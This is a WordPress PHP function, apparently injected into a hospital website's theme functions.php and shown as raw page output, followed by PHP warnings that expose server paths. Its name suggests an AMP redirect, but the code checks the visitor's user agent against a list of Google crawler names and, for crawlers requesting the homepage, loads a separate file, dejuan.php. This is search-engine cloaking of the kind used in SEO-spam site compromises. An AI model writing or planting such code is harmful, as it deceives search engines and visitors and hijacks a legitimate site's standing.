function redirect_google_to_amp()
{
$userAgent = ! empty($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
$referer = ! empty($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
$googleBots = [
'Googlebot', // Genel Google bot
'AdsBot', // Google Ads botu
'Mediapartners-Google', // Google AdSense botu
'APIs-Google', // Google API botu
'Googlebot-Image', // Google Görseller botu
'Googlebot-Video', // Google Video botu
'Googlebot-News', // Google Haberler botu
'Googlebot-Search', // Google Search Console botu
'Googlebot-Inspect', // Google Inspect Tool
'Googlebot-Android', // Android cihazlardan gelen Googlebot
'Googlebot-Mobile', // Google mobil botu
'Googlebot-Ads', // Google Ads botu
'Googlebot-Discovery', // Google'ın keşif botu
'Google-', // Google'ın keşif botu
];
if (preg_match('/' . implode('|', $googleBots) . '/i', $userAgent)) {
if ($_SERVER['REQUEST_URI'] === '/') {
include get_template_directory() . '/dejuan.php';
exit;
}
}
}
add_action('template_redirect', 'redirect_google_to_amp');
Warning: Cannot modify header information - headers already sent by (output started at /home/plexsi5/napaolympichospital.com/wp-content/themes/medicenter/functions.php:1298) in /home/plexsi5/napaolympichospital.com/wp-includes/pluggable.php on line 1450
Warning: Cannot modify header information - headers already sent by (output started at /home/plexsi5/napaolympichospital.com/wp-content/themes/medicenter/functions.php:1298) in /home/plexsi5/napaolympichospital.com/wp-includes/pluggable.php on line 1453